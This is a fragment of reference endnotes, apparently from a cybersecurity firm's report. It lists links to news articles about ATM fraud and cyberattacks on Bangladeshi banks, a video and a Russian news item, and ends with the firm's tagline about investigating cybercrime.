3 https://www.prothomalo.com/economy/article/1597491/%E0%A6%97%E0%A6%87-%E0%A6%8F%E0%A6%9C%E0%A6%BF-%E0%A6%A6%E0%A7%87%E0%A6%96%E0%A6%BE-%E0%A6%AF%E0%A6%BE%E0%A7%9F%E0%A6%A8%E0%A6%BF-%E0%A6%95%E0%A6%96%E0%A6%8B-%E0%A6%A6%E0%A7%87%E0%A6%96%E0%A6%BE-%E0%A6%97%E0%A6%87%E0%A6%8F%E0%A6%9C%E0%A6%BF-%E0%A6%A6%E0%A7%87%E0%A6%96%E0%A6%BE-%E0%A6%97%E0%A6%87%E0%A6%8F%E0%A6%9C%E0%A6%BF-%E0%A6%A6%E0%A7%87%E0%A6%96%E0%A6%BE-%E0%A6%97%E0%A6%87%E0%A6%8F%E0%A6%9C%E0%A6%BF-%E0%A6%A6%E0%A7%87%E0%A6%96%E0%A6%BE-%E0%A6%97%E0%A6%87%E0%A6%8F%E0%A6%9C%E0%A6%BF-%E0%A6%A6%E0%A7%87%E0%A6%96%E0%A6%BE-%E0%A6%97%E0%A6%87%E0%A6%8F%E0%A6%9C%E0%A6%BF-%E0%A6%A6%E0%A7%87%E0%A6%96%E0%A6%BE-
4 https://www.dhakatribune.com/bangladesh/crime/2019/06/02/police-bank-authorities-in-dark-over-atm-fraud&sa=D&ust=1564743784434000&usg=AFQjCNFVLOfhxVGNXWIOy1InyRxP-7N1pQ
5 https://www.thedailystar.net/frontpage/news/three-banks-hit-cyberattacks-1760629&sa=D&ust=1564743784434000&usg=AFQjCNFOB7KqwoX53kORZTWb5zM6OC0Xcg
6 https://www.youtube.com/watch?v%3Dun1H-92AUeI&sa=D&ust=1564743784435000&usg=AFQjCNEJo9GAykaCBFtIyXRxhKp605S6A
7 https://www.kommersant.ru/doc/3881484
Preventing and investigating cybercrime since 2003.